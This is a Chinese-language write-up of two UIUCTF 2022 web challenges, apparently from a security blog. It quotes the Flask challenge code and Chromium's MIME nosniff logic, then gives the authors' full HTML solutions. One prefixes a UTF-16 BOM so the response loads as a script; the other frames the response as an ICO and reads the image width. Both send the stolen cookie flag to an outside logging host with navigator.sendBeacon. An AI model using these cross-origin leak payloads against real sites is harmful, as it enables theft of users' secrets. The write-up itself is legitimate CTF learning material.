uiuctf-2022-writeup
2022-8-1 20:31:10 Author: blog.huli.tw(查看原文) 阅读量:141 收藏

其實沒有參加這一次的 CTF,但有稍微看到兩題跟 content type 有關的題目覺得有趣,來記一下解法。

modernism(21 solves)

程式碼超簡單:

1
2
3
4
5
6
7
8
from flask import Flask, Response, request
app = Flask(__name__)

@app.route('/')
def index():
prefix = bytes.fromhex(request.args.get("p", default="", type=str))
flag = request.cookies.get("FLAG", default="uiuctf{FAKEFLAG}").encode()
return Response(prefix+flag, mimetype="text/plain")

會把你送去的資料 hex decode 以後加在 response 的 flag 前面,就這樣。有一個 admin bot 會帶著 flag 在 cookie 去造訪你的頁面。

這題我原本想說 text/plain 不能被當作 script 載入,就算沒有加 X-Content-Type-Options: nosniff 也一樣,後來發現我記錯了,其實是可以的。

相關程式碼在 third_party/blink/renderer/platform/loader/allowed_by_nosniff.cc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82









bool AllowMimeTypeAsScript(const String& mime_type,
bool same_origin,
AllowedByNosniff::MimeTypeCheck mime_type_check_mode,
WebFeature& counter) {
using MimeTypeCheck = AllowedByNosniff::MimeTypeCheck;



if (mime_type_check_mode == MimeTypeCheck::kLaxForWorker &&
RuntimeEnabledFeatures::StrictMimeTypesForWorkersEnabled()) {
mime_type_check_mode = MimeTypeCheck::kStrict;
}


if (MIMETypeRegistry::IsSupportedJavaScriptMIMEType(mime_type))
return true;




if (mime_type.StartsWithIgnoringASCIICase("image/")) {
counter = WebFeature::kBlockedSniffingImageToScript;
return false;
}
if (mime_type.StartsWithIgnoringASCIICase("audio/")) {
counter = WebFeature::kBlockedSniffingAudioToScript;
return false;
}
if (mime_type.StartsWithIgnoringASCIICase("video/")) {
counter = WebFeature::kBlockedSniffingVideoToScript;
return false;
}
if (mime_type.StartsWithIgnoringASCIICase("text/csv")) {
counter = WebFeature::kBlockedSniffingCSVToScript;
return false;
}

if (mime_type_check_mode == MimeTypeCheck::kStrict) {
return false;
}
DCHECK(mime_type_check_mode == MimeTypeCheck::kLaxForWorker ||
mime_type_check_mode == MimeTypeCheck::kLaxForElement);





if (EqualIgnoringASCIICase(mime_type, "text/javascript1.6") ||
EqualIgnoringASCIICase(mime_type, "text/javascript1.7")) {


return true;
}

if (mime_type.StartsWithIgnoringASCIICase("application/octet-stream")) {
counter = kApplicationOctetStreamFeatures[same_origin];
} else if (mime_type.StartsWithIgnoringASCIICase("application/xml")) {
counter = kApplicationXmlFeatures[same_origin];
} else if (mime_type.StartsWithIgnoringASCIICase("text/html")) {
counter = kTextHtmlFeatures[same_origin];
} else if (mime_type.StartsWithIgnoringASCIICase("text/plain")) {
counter = kTextPlainFeatures[same_origin];
} else if (mime_type.StartsWithIgnoringCase("text/xml")) {
counter = kTextXmlFeatures[same_origin];
} else if (mime_type.StartsWithIgnoringCase("text/json") ||
mime_type.StartsWithIgnoringCase("application/json")) {
counter = kJsonFeatures[same_origin];
} else {
counter = kUnknownFeatures[same_origin];
}

return true;
}

可是就算可以被當作是 script 引入,也沒辦法輕易弄成可以執行的語法,因為 flag 中有 {}

非預期解是利用 class,前面加上 class 就變成 class uiuctf{fakeflag},有了這個之後你只要 uiuctf+'' 就可以得到當初宣告 class 時的那一整串東西,就拿到 flag 了。

預期解是前面加上 BOM,讓 JS 把整個腳本用 UTF-16 去解讀,就會把原本那一串 flag 變成奇怪的中文字,就不會壞了,前面則可以加上 ++window.,之後去看 window 的每個屬性就好。

作者的解法如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<meta http-equiv="X-UA-Compatible" content="ie=edge" />
<title>Static Template</title>
</head>
<body>























<script src="https://modernism-web.chal.uiuc.tf/?p=FEFF002B002B00770069006E0064006F0077002E"></script>
<script>
const encutf16=(s)=>[...s].flatMap(c=>[String.fromCharCode(c.charCodeAt(0)>>8),String.fromCharCode(c.charCodeAt(0)&0xff)]).join('');
const flag = Object.getOwnPropertyNames(window).map(x=>encutf16(x)).find(x=>x.startsWith('uiuctf{'));
navigator.sendBeacon("//hc.lc/log2.php?modernism",flag);
</script>
</body>
</html>

precisionism(3 solves)

這題跟上題很像,只是結尾多加了一些東西:

1
2
3
4
5
6
7
8
from flask import Flask, Response, request
app = Flask(__name__)

@app.route('/')
def index():
prefix = bytes.fromhex(request.args.get("p", default="", type=str))
flag = request.cookies.get("FLAG", default="uiuctf{FAKEFLAG}").encode()
return Response(prefix+flag+b"Enjoy your flag!", mimetype="text/plain")

因為多加的那些東西,所以前面那兩招都不能用。

這題的預期解是把 response 弄成 ICO 格式,然後把要 leak 的部分放到 width 去,就可以 cross origin 拿圖片寬度,一個 byte 一個 byte 拿出來:

作者解法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<meta http-equiv="X-UA-Compatible" content="ie=edge" />
<title>Static Template</title>
</head>
<body>
<h1>
This is a static template, there is no bundler or bundling involved!
</h1>
<script>
const sleep = () => new Promise((res) => setTimeout(res, 50));
async function exfil(i) {
let img = new Image();
let p = "00000100020001010000010020006804000026000000";
if (i>0) p = p.slice(0, -i*2);
img.src = `https://precisionism-web.chal.uiuc.tf/?p=${p}`;
await img.decode();
return img.width;
}
async function main() {
for (let i = 0; i < 16; i++) {
let c = await exfil(i);
console.log(String.fromCharCode(c));
navigator.sendBeacon("//hc.lc/log2.php?precisionism",String.fromCharCode(c)+" "+c)
}
}
main();
</script>
</body>
</html>

總結

話說我還有特別研究了一下 chromium 怎麼做 mime sniffing,不過這次題目跟這個好像沒太大關係,還是筆記一下位置:https://source.chromium.org/chromium/chromium/src/+/master:net/base/mime_sniffer.cc


文章来源: https://blog.huli.tw/2022/08/01/uiuctf-2022-writeup/
如有侵权请联系:admin#unsafe.sh